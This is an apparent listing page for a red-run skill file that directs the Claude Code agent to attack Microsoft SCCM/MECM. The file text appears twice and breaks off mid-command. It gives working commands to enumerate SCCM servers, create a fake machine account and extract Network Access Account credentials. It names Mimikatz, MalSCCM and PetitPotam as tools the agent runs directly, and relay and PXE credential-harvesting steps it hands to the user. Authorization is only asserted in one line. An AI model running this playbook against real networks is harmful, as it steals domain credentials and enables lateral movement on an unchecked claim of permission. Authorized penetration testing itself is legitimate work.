/sccm-exploitation
Enumerates and exploits Microsoft SCCM/MECM (System Center Configuration Manager / Microsoft Endpoint Configuration Manager) infrastructure for credential harvesting, lateral movement, and domain escalation. Covers SCCM enumeration (sccmhunter, SharpSCCM), Network Access Account
$ npx -y skills add blacklanternsecurity/red-run --skill sccm-exploitation --agent claude-codeHow it fires
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/sccm-exploitation
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Enumerates and exploits Microsoft SCCM/MECM (System Center Configuration Manager / Microsoft Endpoint Configuration Manager) infrastructure for credential harvesting, lateral movement, and domain escalation. Covers SCCM enumeration (sccmhunter, SharpSCCM), Network Access Account
SKILL.md
sccm-exploitation.SKILL.mdname: sccm-exploitation
description: >
Enumerates and exploits Microsoft SCCM/MECM (System Center Configuration
Manager / Microsoft Endpoint Configuration Manager) infrastructure for
credential harvesting, lateral movement, and domain escalation. Covers SCCM
enumeration (sccmhunter, SharpSCCM), Network Access Account (NAA) credential
extraction (policy request, WMI DPAPI, WMI repository), management point
NTLM relay to MSSQL (TAKEOVER1), client push relay (ELEVATE2), PXE boot
media credential harvesting (CRED1), SCCM database credential extraction,
application deployment for lateral movement, and SCCM share looting.
keywords:
- SCCM
- MECM
- ConfigMgr
- Configuration Manager
- management point
- sccmhunter
- SharpSCCM
- NAA
- Network Access Account
- PXE boot
- client push
- task sequence
- OSD secrets
- SCCMContentLib
- CMLoot
- MalSCCM
- SCCM relay
tools:
- sccmhunter
- SharpSCCM
- MalSCCM
- ntlmrelayx
- PetitPotam
- pxethiefy
- CMLoot
- Mimikatz
- SQLRecon
opsec: medium
SCCM/MECM Exploitation
You are helping a penetration tester enumerate and exploit Microsoft SCCM/MECM infrastructure for credential harvesting, lateral movement, and domain escalation. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[sccm-exploitation] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
**Access required**: Domain user (for enumeration and NAA extraction via policy request). Local admin on SCCM client (for WMI/DPAPI extraction). Domain admin or relay position (for MP relay and database attacks).
**Kerberos authentication setup** (for enumeration):
getTGT.py 'DOMAIN.LOCAL/username:password' -dc-ip DC_IP
export KRB5CCNAME=$(pwd)/username.ccache
**Tools**: sccmhunter, SharpSCCM, MalSCCM, ntlmrelayx.py, PetitPotam, pxethiefy/PXEThief/SharpPXE, CMLoot, Mimikatz, SQLRecon.
Privileged Commands
Claude Code cannot execute `sudo` commands. The following require root and must be handed off to the user:
- **pxethiefy.py** — PXE boot credential harvesting (needs raw sockets for DHCP/TFTP)
- **ntlmrelayx.py** — NTLM relay to SCCM management point MSSQL (needs raw sockets)
**Handoff protocol:** Present the full command including `sudo`, ask the user to run it, then read the output or wait for callback confirmation.
**Non-privileged commands** Claude can execute directly:
- Enumeration: `sccmhunter`, `SharpSCCM`, `CMLoot`
- Policy extraction: `sccmhunter http`, `sccmhunter show`
- Post-exploitation: `SQLRecon`, `MalSCCM`, `Mimikatz`
- Coercion triggers: `PetitPotam.py`
Step 1: Enumerate SCCM Infrastructure
Discovery via sccmhunter
# Find SCCM infrastructure in the domain
sccmhunter.py find -u 'user' -p 'Password123' -d DOMAIN.LOCAL -dc-ip DC_IP
# Display discovered site servers
sccmhunter.py show -siteservers
# HTTP-based enumeration (no WMI, broader info)
sccmhunter.py http -u 'user' -p 'Password123' -d DOMAIN.LOCAL -dc-ip DC_IP -auto
SharpSCCM (from compromised Windows host)
# Enumerate devices managed by site server
.\SharpSCCM.exe get devices --server SCCM01 --site-code P01
Unauthenticated MP Endpoints
# Retrieve site signing cert + Unknown Computer GUIDs
curl -s http://MP01.domain.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
# List all management points
curl -s http://MP01.domain.local/SMS_MP/.sms_aut?MPLIST | xmllint --format -
# Get site signing certificate
curl -s http://MP01.domain.local/SMS_MP/.sms_aut?SITESIGNCERT | xmllint --format -
These HTTP endpoints are unauthenticated and reveal site structure.
Attack Path Decision Tree
SCCM Infrastructure Found
├── Have local admin on SCCM client? → Step 3 (NAA from WMI/DPAPI — quietest)
├── Can create machine account? → Step 2 (NAA via policy request)
├── Can reach MP + MSSQL? → Step 4 (MP relay to MSSQL)
├── Auto client push enabled? → Step 5 (Client push relay)
├── PXE-enabled DP? → Step 6 (PXE boot credential harvesting)
├── Have SCCM admin or DB access? → Step 7 (Database credential extraction)
└── Have SCCM admin? → Step 8 (Application deployment for lateral movement)
Step 2: NAA Extraction via Policy Request (CRED-2)
Extract Network Access Account credentials by requesting machine policy from the management point. Requires a machine account (real or created).
Create Machine Account + Request Policy
# 1. Create a machine account (MAQ default allows this)
addcomputer.py -computer-name 'fakesccm$' -computer-pass 'Password123!' \
'DOMAIN.LOCAL/user:pass' -dc-ip DC_IP
# 2. Add DNS entry for SCCM server (if not resolving)
echo "SCCM_IP SCCM01 SCCM01.DOMAIN.LOCAL" >> /etc/hosts
# 3. Request policy from MP using fake computer identity (sccmwtf)
python3 sccmwtf.py fake fakepc.domain.local SCCM01 'DOMAIN\fakesccm$' 'Password123!'
# 4. Extract and decrypt NAA credentials from policy XML
cat /tmp/naapolicy.xml | grep 'NetworkAccessUsername\|NetworkAccessPassword' -A 5 \
| grep 'CDATA' | cut
Read more
name: sccm-exploitation description: > Enumerates and exploits Microsoft SCCM/MECM (System Center Configuration Manager / Microsoft Endpoint Configuration Manager) infrastructure for credential harvesting, lateral movement, and domain escalation. Covers SCCM enumeration (sccmhunter, SharpSCCM), Network Access Account (NAA) credential extraction (policy request, WMI DPAPI, WMI repository), management point NTLM relay to MSSQL (TAKEOVER1), client push relay (ELEVATE2), PXE boot media credential harvesting (CRED1), SCCM database credential extraction, application deployment for lateral movement, and SCCM share looting. keywords: - SCCM - MECM - ConfigMgr - Configuration Manager - management point - sccmhunter - SharpSCCM - NAA - Network Access Account - PXE boot - client push - task sequence - OSD secrets - SCCMContentLib - CMLoot - MalSCCM - SCCM relay tools: - sccmhunter - SharpSCCM - MalSCCM - ntlmrelayx - PetitPotam - pxethiefy - CMLoot - Mimikatz - SQLRecon opsec: medium
SCCM/MECM Exploitation
You are helping a penetration tester enumerate and exploit Microsoft SCCM/MECM infrastructure for credential harvesting, lateral movement, and domain escalation. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[sccm-exploitation] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
**Access required**: Domain user (for enumeration and NAA extraction via policy request). Local admin on SCCM client (for WMI/DPAPI extraction). Domain admin or relay position (for MP relay and database attacks).
**Kerberos authentication setup** (for enumeration):
getTGT.py 'DOMAIN.LOCAL/username:password' -dc-ip DC_IP export KRB5CCNAME=$(pwd)/username.ccache
**Tools**: sccmhunter, SharpSCCM, MalSCCM, ntlmrelayx.py, PetitPotam, pxethiefy/PXEThief/SharpPXE, CMLoot, Mimikatz, SQLRecon.
Privileged Commands
Claude Code cannot execute `sudo` commands. The following require root and must be handed off to the user:
- **pxethiefy.py** — PXE boot credential harvesting (needs raw sockets for DHCP/TFTP)
- **ntlmrelayx.py** — NTLM relay to SCCM management point MSSQL (needs raw sockets)
**Handoff protocol:** Present the full command including `sudo`, ask the user to run it, then read the output or wait for callback confirmation.
**Non-privileged commands** Claude can execute directly:
- Enumeration: `sccmhunter`, `SharpSCCM`, `CMLoot`
- Policy extraction: `sccmhunter http`, `sccmhunter show`
- Post-exploitation: `SQLRecon`, `MalSCCM`, `Mimikatz`
- Coercion triggers: `PetitPotam.py`
Step 1: Enumerate SCCM Infrastructure
Discovery via sccmhunter
# Find SCCM infrastructure in the domain sccmhunter.py find -u 'user' -p 'Password123' -d DOMAIN.LOCAL -dc-ip DC_IP # Display discovered site servers sccmhunter.py show -siteservers # HTTP-based enumeration (no WMI, broader info) sccmhunter.py http -u 'user' -p 'Password123' -d DOMAIN.LOCAL -dc-ip DC_IP -auto
SharpSCCM (from compromised Windows host)
# Enumerate devices managed by site server .\SharpSCCM.exe get devices --server SCCM01 --site-code P01
Unauthenticated MP Endpoints
# Retrieve site signing cert + Unknown Computer GUIDs curl -s http://MP01.domain.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format - # List all management points curl -s http://MP01.domain.local/SMS_MP/.sms_aut?MPLIST | xmllint --format - # Get site signing certificate curl -s http://MP01.domain.local/SMS_MP/.sms_aut?SITESIGNCERT | xmllint --format -
These HTTP endpoints are unauthenticated and reveal site structure.
Attack Path Decision Tree
SCCM Infrastructure Found ├── Have local admin on SCCM client? → Step 3 (NAA from WMI/DPAPI — quietest) ├── Can create machine account? → Step 2 (NAA via policy request) ├── Can reach MP + MSSQL? → Step 4 (MP relay to MSSQL) ├── Auto client push enabled? → Step 5 (Client push relay) ├── PXE-enabled DP? → Step 6 (PXE boot credential harvesting) ├── Have SCCM admin or DB access? → Step 7 (Database credential extraction) └── Have SCCM admin? → Step 8 (Application deployment for lateral movement)
Step 2: NAA Extraction via Policy Request (CRED-2)
Extract Network Access Account credentials by requesting machine policy from the management point. Requires a machine account (real or created).
Create Machine Account + Request Policy
# 1. Create a machine account (MAQ default allows this) addcomputer.py -computer-name 'fakesccm$' -computer-pass 'Password123!' \ 'DOMAIN.LOCAL/user:pass' -dc-ip DC_IP # 2. Add DNS entry for SCCM server (if not resolving) echo "SCCM_IP SCCM01 SCCM01.DOMAIN.LOCAL" >> /etc/hosts # 3. Request policy from MP using fake computer identity (sccmwtf) python3 sccmwtf.py fake fakepc.domain.local SCCM01 'DOMAIN\fakesccm$' 'Password123!' # 4. Extract and decrypt NAA credentials from policy XML cat /tmp/naapolicy.xml | grep 'NetworkAccessUsername\|NetworkAccessPassword' -A 5 \ | grep 'CDATA' | cut
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
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